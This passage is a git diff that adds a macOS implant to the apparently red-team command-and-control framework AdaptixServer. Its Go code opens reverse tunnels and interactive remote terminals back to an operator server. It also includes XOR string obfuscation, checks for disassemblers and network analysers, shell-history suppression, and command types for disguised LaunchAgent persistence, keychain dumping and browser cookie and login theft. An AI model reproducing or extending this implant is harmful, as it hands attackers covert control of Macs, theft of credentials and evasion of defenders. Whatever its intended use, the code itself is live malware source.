len(ansRun.Stderr) > 0 { + job.Data, _ = msgpack.Marshal(ansRun) + packedJob, _ = msgpack.Marshal(job) + message = utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + sendData, _ = msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + + if hasMore { + time.Sleep(100 * time.Millisecond) + } + } + + if !hasMore { + break + } + } + + /// FINISH + + job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Finish: true}) + packedJob, _ = msgpack.Marshal(job) + + message = utils.Message{ + Type: 2, + Object: [][]byte{packedJob}, + } + + sendData, _ = msgpack.Marshal(message) + sendData, _ = utils.EncryptData(sendData, utils.SKey) + functions.SendMsg(conn, sendData) + }() + + return nil, nil +} + +func jobTunnel(paramsData []byte) { + var params utils.ParamsTunnelStart + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + go func() { + active := true + reason := byte(0) + clientConn, err := net.DialTimeout(params.Proto, params.Address, 200*time.Millisecond) + if err != nil { + active = false + var opErr *net.OpError + if errors.As(err, &opErr) { + if opErr.Timeout() { + reason = 4 + } + if errors.Is(syscall.ECONNREFUSED, opErr.Err) { + reason = 5 + } + if errors.Is(syscall.ENETUNREACH, opErr.Err) { + reason = 3 + } + } + } + + var srvConn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + srvConn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + srvConn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + srvConn.Close() + return + } + + tunKey := make([]byte, 16) + _, _ = rand.Read(tunKey) + tunIv := make([]byte, 16) + _, _ = rand.Read(tunIv) + + jobPack, _ := msgpack.Marshal(utils.TunnelPack{Id: uint(AgentId), Type: profile.Type, ChannelId: params.ChannelId, Key: tunKey, Iv: tunIv, Alive: active, Reason: reason}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TUNNEL, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(srvConn, profile.BannerSize) + if err != nil { + srvConn.Close() + return + } + } + + /// Send Init + functions.SendMsg(srvConn, jobMsg) + + if !active { + srvConn.Close() + return + } + + encCipher, _ := aes.NewCipher(tunKey) + encStream := cipher.NewCTR(encCipher, tunIv) + streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn} + + decCipher, _ := aes.NewCipher(tunKey) + decStream := cipher.NewCTR(decCipher, tunIv) + streamReader := &cipher.StreamReader{S: decStream, R: srvConn} + + ctx, cancel := context.WithCancel(context.Background()) + ctrl := &TunnelController{ + Cancel: cancel, + } + TUNNELS.Store(params.ChannelId, ctrl) + defer TUNNELS.Delete(params.ChannelId) + + var closeOnce sync.Once + closeAll := func() { + closeOnce.Do(func() { + _ = clientConn.Close() + _ = srvConn.Close() + }) + } + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + io.Copy(clientConn, streamReader) + closeAll() + }() + + go func() { + defer wg.Done() + buf := make([]byte, 32*1024) + for { + select { + case <-ctx.Done(): + return + default: + if ctrl.Paused.Load() { + time.Sleep(50 * time.Millisecond) + continue + } + + clientConn.SetReadDeadline(time.Now().Add(500 * time.Millisecond)) + nr, er := clientConn.Read(buf) + if nr > 0 { + _, ew := streamWriter.Write(buf[0:nr]) + if ew != nil { + closeAll() + return + } + } + if er != nil { + if netErr, ok := er.(net.Error); ok && netErr.Timeout() { + continue + } + closeAll() + return + } + } + } + }() + + go func() { + <-ctx.Done() + closeAll() + }() + + wg.Wait() + + cancel() + }() +} + +func jobTerminal(paramsData []byte) { + var params utils.ParamsTerminalStart + err := msgpack.Unmarshal(paramsData, ¶ms) + if err != nil { + return + } + + go func() { + active := true + status := "" + + process := exec.Command(params.Program) + ptyProc, err := functions.StartPtyCommand(process, uint16(params.Width), uint16(params.Height)) + if err != nil { + active = false + status = err.Error() + } + + var srvConn net.Conn + if profile.UseSSL { + cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey) + if certerr != nil { + return + } + + caCertPool := x509.NewCertPool() + caCertPool.AppendCertsFromPEM(profile.CaCert) + + config := &tls.Config{ + Certificates: []tls.Certificate{cert}, + RootCAs: caCertPool, + InsecureSkipVerify: true, + } + srvConn, err = tls.Dial("tcp", profile.Addresses[0], config) + + } else { + srvConn, err = net.Dial("tcp", profile.Addresses[0]) + } + if err != nil { + if active { + functions.StopPty(ptyProc) + _ = process.Process.Kill() + } + return + } + + tunKey := make([]byte, 16) + _, _ = rand.Read(tunKey) + tunIv := make([]byte, 16) + _, _ = rand.Read(tunIv) + + jobPack, _ := msgpack.Marshal(utils.TermPack{Id: uint(AgentId), TermId: params.TermId, Key: tunKey, Iv: tunIv, Alive: active, Status: status}) + jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TERMINAL, Data: jobPack}) + jobMsg, _ = utils.EncryptData(jobMsg, encKey) + + /// Recv Banner + if profile.BannerSize > 0 { + _, err := functions.ConnRead(srvConn, profile.BannerSize) + if err != nil { + srvConn.Close() + if active { + functions.StopPty(ptyProc) + _ = process.Process.Kill() + } + return + } + } + + /// Send Init + _ = functions.SendMsg(srvConn, jobMsg) + + if !active { + srvConn.Close() + return + } + + encCipher, _ := aes.NewCipher(tunKey) + encStream := cipher.NewCTR(encCipher, tunIv) + streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn} + + decCipher, _ := aes.NewCipher(tunKey) + decStream := cipher.NewCTR(decCipher, tunIv) + streamReader := &cipher.StreamReader{S: decStream, R: srvConn} + + ctx, cancel := context.WithCancel(context.Background()) + TERMINALS.Store(params.TermId, cancel) + defer TERMINALS.Delete(params.TermId) + + var closeOnce sync.Once + closeAll := func() { + closeOnce.Do(func() { + time.Sleep(200 * time.Millisecond) + _ = functions.StopPty(ptyProc) + if functions.IsProcessRunning(process) { + _ = process.Process.Kill() + } + _ = srvConn.Close() + }) + } + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + functions.RelayConnToPty(ptyProc, streamReader) + closeAll() + }() + + go func() { + defer wg.Done() + functions.RelayPtyToConn(streamWriter, ptyProc) + closeAll() + }() + + go func() { + <-ctx.Done() + closeAll() + }() + + wg.Wait() + _ = process.Wait() + cancel() + }() +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go new file mode 100644 index 00000000..a9a71f9f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go @@ -0,0 +1,57 @@ +package utils + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "fmt" + "io" +) + +var SKey []byte + +func EncryptData(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func DecryptData(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + return plaintext, nil +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go new file mode 100644 index 00000000..12214422 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go @@ -0,0 +1,16 @@ +//go:build debug + +package utils + +import ( + "fmt" + "os" + "time" +) + +// DebugLog prints debug messages to stderr when built with -tags=debug. +// Never included in production payloads. +func DebugLog(format string, args ...interface{}) { + msg := fmt.Sprintf(format, args...) + fmt.Fprintf(os.Stderr, "[DBG %s] %s\n", time.Now().Format("15:04:05"), msg) +} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go new file mode 100644 index 00000000..56623c3f --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go @@ -0,0 +1,6 @@ +//go:build !debug + +package utils + +// DebugLog is a no-op in release builds. The compiler eliminates these calls. +func DebugLog(format string, args ...interface{}) {} diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go new file mode 100644 index 00000000..91009c0e --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go @@ -0,0 +1,26 @@ +package utils + +// PLACEHOLDER — overwritten at build-time by pl_main.go:generateObfuscatedStrings(). +// Each payload build generates a unique XOR key and re-encodes all strings. +// These plaintext fallbacks exist only for dev-time compilation (go vet, IDE). + +func StrHwModel() string { return "hw.model" } +func StrKernBootargs() string { return "kern.bootargs" } +func StrAmfiBypass() string { return "amfi_get_out_of_my_way" } +func StrSandboxEnv() string { return "APP_SANDBOX_CONTAINER_ID" } +func StrHopper() string { return "/Applications/Hopper Disassembler v4.app" } +func StrIDA() string { return "/Applications/IDA Pro.app" } +func StrGhidra() string { return "/Applications/Ghidra.app" } +func StrCharles() string { return "/Applications/Charles.app" } +func StrProxyman() string { return "/Applications/Proxyman.app" } +func StrWireshark() string { return "/Applications/Wireshark.app" } +func StrSystemVersionPlist() string { return "/System/Library/CoreServices/SystemVersion.plist" } +func StrProductVersion() string { return "ProductVersion" } +func StrMacOS() string { return "MacOS" } +func StrHistfile() string { return "HISTFILE=/dev/null" } +func StrHistfilesize() string { return "HISTFILESIZE=0" } +func StrHistsize() string { return "HISTSIZE=0" } +func StrHistory() string { return "HISTORY=" } +func StrHistsave() string { return "HISTSAVE=" } +func StrHistzone() string { return "HISTZONE=" } +func StrHistlog() string { return "HISTLOG=" } diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go new file mode 100644 index 00000000..7181c8b7 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go @@ -0,0 +1,360 @@ +package utils + +import ( + "context" + "net" +) + +type Connection struct { + PackType int + Conn net.Conn + Ctx context.Context + HandleCancel context.CancelFunc + JobCancel context.CancelFunc +} + +/// Listener + +const ( + INIT_PACK = 1 + EXFIL_PACK = 2 + JOB_PACK = 3 + JOB_TUNNEL = 4 + JOB_TERMINAL = 5 +) + +type StartMsg struct { + Type int `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type InitPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Data []byte `msgpack:"data"` +} + +type ExfilPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Task string `msgpack:"task"` +} + +type JobPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + Task string `msgpack:"task"` +} + +type TunnelPack struct { + Id uint `msgpack:"id"` + Type uint `msgpack:"type"` + ChannelId int `msgpack:"channel_id"` + Key []byte `msgpack:"key"` + Iv []byte `msgpack:"iv"` + Alive bool `msgpack:"alive"` + Reason byte `msgpack:"reason"` +} + +type TermPack struct { + Id uint `msgpack:"id"` + TermId int `msgpack:"term_id"` + Key []byte `msgpack:"key"` + Iv []byte `msgpack:"iv"` + Alive bool `msgpack:"alive"` + Status string `msgpack:"status"` +} + +/// Agent + +type Profile struct { + Type uint `msgpack:"type"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Processes []byte `msgpack:"processes"` +} + +type ParamsKill struct { + Pid int `msgpack:"pid"` +} + +type ParamsZip struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type AnsZip struct { + Path string `msgpack:"path"` +} + +type AnsScreenshots struct { + Screens [][]byte `msgpack:"screens"` +} + +type ParamsRun struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` + Task string `msgpack:"task"` +} + +type AnsRun struct { + Stdout string `msgpack:"stdout"` + Stderr string `msgpack:"stderr"` + Pid int `msgpack:"pid"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` +} + +type JobInfo struct { + JobId string `msgpack:"job_id"` + JobType int `msgpack:"job_type"` +} + +type AnsJobList struct { + List []byte `msgpack:"list"` +} + +type ParamsJobKill struct { + Id string `msgpack:"id"` +} + +type ParamsTunnelStart struct { + Proto string `msgpack:"proto"` + ChannelId int `msgpack:"channel_id"` + Address string `msgpack:"address"` +} + +type ParamsTunnelStop struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelPause struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTunnelResume struct { + ChannelId int `msgpack:"channel_id"` +} + +type ParamsTerminalStart struct { + TermId int `msgpack:"term_id"` + Program string `msgpack:"program"` + Height int `msgpack:"height"` + Width int `msgpack:"width"` +} + +type ParamsTerminalStop struct { + TermId int `msgpack:"term_id"` +} + +/// Phase 4 — Persistence & Post-exploitation types + +type ParamsPersist struct { + Action string `msgpack:"action"` // install, remove, status + Method string `msgpack:"method"` // launchagent, launchdaemon + Name string `msgpack:"name"` // plist label (e.g. com.apple.mdworker.local) +} + +type AnsPersist struct { + Output string `msgpack:"output"` +} + +type ParamsDefaults struct { + Domain string `msgpack:"domain"` +} + +type ParamsKeychain struct { + Action string `msgpack:"action"` // list, dump +} + +type ParamsBrowserDump struct { + Browser string `msgpack:"browser"` // chrome, firefox + Target string `msgpack:"target"` // cookies, history, logins +} + +const ( + COMMAND_ERROR = 0 + COMMAND_PWD = 1 + COMMAND_CD = 2 + COMMAND_SHELL = 3 + COMMAND_EXIT = 4 + COMMAND_DOWNLOAD = 5 + COMMAND_UPLOAD = 6 + COMMAND_CAT = 7 + COMMAND_CP = 8 + COMMAND_MV = 9 + COMMAND_MKDIR = 10 + COMMAND_RM = 11 + COMMAND_LS = 12 + COMMAND_PS = 13 + COMMAND_KILL = 14 + COMMAND_ZIP = 15 + COMMAND_SCREENSHOT = 16 + COMMAND_RUN = 17 + COMMAND_JOB_LIST = 18 + COMMAND_JOB_KILL = 19 + + // macOS-specific commands (slots 21-30) + COMMAND_CLIPBOARD = 21 + COMMAND_PERSIST = 22 + COMMAND_TCC_CHECK = 23 + COMMAND_DEFAULTS = 24 + COMMAND_EDR_CHECK = 25 + COMMAND_KEYCHAIN = 26 + COMMAND_BROWSER_DUMP = 27 + + COMMAND_TUNNEL_START = 31 + COMMAND_TUNNEL_STOP = 32 + COMMAND_TUNNEL_PAUSE = 33 + COMMAND_TUNNEL_RESUME = 34 + + COMMAND_TERMINAL_START = 35 + COMMAND_TERMINAL_STOP = 36 +) diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go new file mode 100644 index 00000000..601dd28c --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go @@ -0,0 +1,12 @@ +package utils + +// Xor decodes a XOR-obfuscated byte slice with the given key. +// Used to hide sensitive strings from static analysis (strings command). +func Xor(data []byte, key []byte) string { + out := make([]byte, len(data)) + kl := len(key) + for i := range data { + out[i] = data[i] ^ key[i%kl] + } + return string(out) +} diff --git a/AdaptixServer/go.work b/AdaptixServer/go.work index 9ac15ecb..b8326d89 100644 --- a/AdaptixServer/go.work +++ b/AdaptixServer/go.work @@ -9,4 +9,5 @@ use ( ./extenders/beacon_listener_tcp ./extenders/gopher_agent ./extenders/gopher_listener_tcp + ./extenders/macos_agent ) diff --git a/AdaptixServer/profile.yaml b/AdaptixServer/profile.yaml index d303f712..cb4f48af 100644 --- a/AdaptixServer/profile.yaml +++ b/AdaptixServer/profile.yaml @@ -17,6 +17,7 @@ Teamserver: - "extenders/beacon_agent/config.yaml" - "extenders/gopher_listener_tcp/config.yaml" - "extenders/gopher_agent/config.yaml" + - "extenders/macos_agent/config.yaml" axscripts: # - "Extension-Kit/extension-kit.axs" access_token_live_hours: 12